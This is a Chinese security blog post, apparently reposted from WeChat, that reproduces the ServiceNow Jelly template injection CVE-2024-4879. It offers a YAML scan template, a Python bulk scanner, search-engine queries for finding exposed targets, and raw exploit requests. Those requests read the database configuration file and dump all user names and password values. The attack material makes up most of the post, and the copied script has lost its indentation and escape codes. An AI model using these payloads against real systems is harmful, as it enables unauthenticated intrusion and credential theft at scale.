POC(Yaml&Python)
话不多说先上POC(Yam-poc由yakit或ProjectDiscovery Cloud Platform生成,Python-poc脚本由chatgpt生成,准确性请自测,如您觉得有用,请动动小手点个关注,为您每天更新最新漏洞POC)
-
「Yaml」
id: ServiceNowUI-Jelly-rce-CVE-2024-4879
info:
name: ServiceNow UI Jelly模板注入(CVE-2024-4879)
author: god
severity: high
description: ServiceNow UI Jelly模板注入(CVE-2024-4879)
metadata:
fofa-query: body="ConditionalFocus.jsdbx"
tags: rce,cve,ServiceNowUI
http:
- raw:
- |+
@timeout: 30s
GET /login.do?jvar_page_title=%3Cstyle%3E%3Cj:jelly%20xmlns:j=%22jelly%22%20xmlns:g=%27glide%27%3E%3Cg:evaluate%3Egs.addErrorMessage(111*111);%3C/g:evaluate%3E%3C/j:jelly%3E%3C/style%3E HTTP/1.1
Host: {{Hostname}}
max-redirects: 3
matchers-condition: and
matchers:
- type: dsl
dsl:
- 'contains(body_1, "12321")'
condition: and
-
「Python」
"""
Bulk scanning tool for ServiceNow CVE-2024-4879.
Usage:
single scan: CVE-2024-4879.py -u https://target:9090
bulk scan CVE-2024-4879.py -f file.txt
Author: x.com/MohamedNab1l
GitHub: https://github.com/bigb0x/CVE-2024-4879
This tool is inspired by Assetnote's security research: https://www.assetnote.io/resources/research/chaining-three-bugs-to-access-all-your-servicenow-data
Disclaimer:
I like to create my own tools for fun, work and educational purposes only. I do not support or encourage hacking or unauthorized access to any system or network. Please use my tools responsibly and only on systems where you have clear permission to test.
"""
import requests
import argparse
import threading
import queue
import os
from requests.exceptions import RequestException
from datetime import datetime
import urllib3
import signal
import sys
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
the_version = "1.0.1"
dimmed_gray_color = '�33[90m'
honey_yellow_color = "�33[38;5;214m"
dim_yellow_color = '�33[33;1m'
cyan_color = '�33[96m'
green_color = '�33[92m'
red_color = '�33[31m'
light_orange_color = '�33[38;5;214m'
reset_color = '�33[0m'
def banner():
print(f"""
{light_orange_color}
______ _______ ____ ___ ____ _ _ _ _ ___ _____ ___
/ ___ / / ____| |___ / _ ___ | || | | || | ( _ )___ / _
| | / /| _| _____ __) | | | |__) | || |_ _____| || |_ / _ / / (_) |
| |___ V / | |__|_____/ __/| |_| / __/|__ _|_____|__ _| (_) |/ / __, |
____| _/ |_____| |_____|___/_____| |_| |_| ___//_/ /_/
{reset_color}-> Bulk scanning tool for ServiceNow CVE-2024-4879 vulnerability.{reset_color}
{reset_color}{dimmed_gray_color}-> By x.com/MohamedNab1l
{light_orange_color}-> Use Wisely.{reset_color}
""")
LOG_DIR = 'logs'
LOG_FILE = os.path.join(LOG_DIR, 'scan.log')
def create_log_dir():
if not os.path.exists(LOG_DIR):
os.makedirs(LOG_DIR)
print_message('info', f"Log directory created: {LOG_DIR}")
def log_message(message):
with open(LOG_FILE, 'a') as log_file:
log_file.write(f"{datetime.now().strftime('%Y-%m-%d %H:%M:%S')} - {message}n")
def print_message(level, message):
if level == 'vulnerable':
print(f"{cyan_color}[VLUN] {message}{reset_color}")
if level == 'info':
print(f"{dimmed_gray_color}[INFO] {message}{reset_color}")
elif level == 'success':
print(f"{green_color}[VLUN] {message}{reset_color}")
elif level == 'warning':
print(f"{honey_yellow_color}[WARNING] {message}{reset_color}")
elif level == 'error':
print(f"{red_color}[ERROR] {message}{reset_color}")
log_message(message)
paths_to_check = "/login.do?jvar_page_title=<style><j:jelly xmlns:j="jelly" xmlns:g='glide'><g:evaluate>gs.addErrorMessage(7*191);</g:evaluate></j:jelly></style>"
def make_request(url):
try:
response = requests.get(url, verify=False)
if response.status_code == 200:
return response.text
else:
return None
except requests.RequestException as e:
return None
def test_host(url):
try:
fullurl = f"{url}{paths_to_check}"
body = make_request(fullurl)
if body is not None and '>1337<' in body:
print_message('vulnerable', f"Vulnerable: {url}")
#print(body)
else:
print_message('warning', f"Not Vulnerable: {url}")
except requests.RequestException as e:
print_message('error', f"Timeout: {url}")
def worker(queue):
while not queue.empty():
url = queue.get()
print_message('info', f"Testing {url}")
test_host(url)
queue.task_done()
def signal_handler(sig, frame):
print_message('error', 'You pressed Ctrl+C! Exiting gracefully.')
sys.exit(0)
def main():
signal.signal(signal.SIGINT, signal_handler)
banner()
parser = argparse.ArgumentParser(description='Bulk scanning tool for ServiceNow CVE-2024-4879.')
group = parser.add_mutually_exclusive_group(required=True)
group.add_argument('-u', '--url', help='Target URL (e.g., http://example.com)')
group.add_argument('-f', '--file', help='File containing list of URLs (one per line)')
args = parser.parse_args()
create_log_dir()
if args.url:
print_message('info', f"Testing single target: {args.url}")
test_host(args.url)
elif args.file:
with open(args.file, 'r') as f:
urls = [line.strip() for line in f if line.strip()]
print_message('info', f"Testing multiple targets from file: {args.file}")
url_queue = queue.Queue()
for url in urls:
url_queue.put(url)
threads = []
for _ in range(10):
t = threading.Thread(target=worker, args=(url_queue,))
t.start()
threads.append(t)
for t in threads:
t.join()
print_message('info', "Scanning complete.")
if __name__ == '__main__':
main()
漏洞介绍
❝
ServiceNow是一家提供企业级云计算服务的公司,其产品是一种基于云的服务管理解决方案,旨在帮助组织简化和自动化业务流程。其Jelly模板和Glide表达式存在注入漏洞,未经身份验证的攻击者可以通过构造恶意请求来利用这些漏洞,从而实现远程代码执行。
❞
资产测绘
-
「Fofa」
❝
app="servicenow-Products"
❞
-
「Hunter」
❝
web.body="ConditionalFocus.jsdbx"
❞
-
「Quake」
❝
body="ConditionalFocus.jsdbx"
❞
漏洞复现
「1、构造数据包」
GET /login.do?jvar_page_title=%3Cstyle%3E%3Cj:jelly%20xmlns:j=%22jelly%22%20xmlns:g=%27glide%27%3E%3Cg:evaluate%3Egs.addErrorMessage(111*111);%3C/g:evaluate%3E%3C/j:jelly%3E%3C/style%3E HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Accept-Encoding: gzip
Connection: close
「2、查看返回包」
「3、读取数据库配置」
GET /login.do?jvar_page_title=%3Cstyle%3E%3Cj:jelly%20xmlns:j=%22jelly:core%22%20xmlns:g=%27glide%27%3E%3Cg:evaluate%3Ez=new%20Packages.java.io.File(%22%22).getAbsolutePath();z=z.substring(0,z.lastIndexOf(%22/%22));u=new%20SecurelyAccess(z.concat(%22/co..nf/glide.db.properties%22)).getBufferedReader();s=%22%22;while((q=u.readLine())!==null)s=s.concat(q,%22%5Cn%22);gs.addErrorMessage(s);%3C/g:evaluate%3E%3C/j:jelly%3E%3C/style%3E%22 HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Accept-Encoding: gzip
Connection: close
「4、查看用户密码」
GET /login.do?jvar_page_title=%3Cstyle%3E%3Cj:jelly%20xmlns:j=%22jelly%22%20xmlns:g=%27glide%27%3E%3Cg:evaluate%3Egr=new%20GlideRecord(%22sys_user%22);gr.query();s=%22%22;while(gr.next())s=s.concat(gr.user_name,%22%20:%20%22,gr.user_password,%22%3Cbr/%3E%22);gs.addErrorMessage(s);%3C/g:evaluate%3E%3C/j:jelly%3E%3C/style%3E HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Accept-Encoding: gzip
Connection: close
修复方案
❝
官方已发布安全补丁,建议联系厂商打补丁或升级版本。 引入Web应用防火墙防护,配置接口拦截策略。 ❞
原文始发于微信公众号(浅梦安全):【漏洞复现|含POC】ServiceNow UI Jelly模板注入(CVE-2024-4879)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论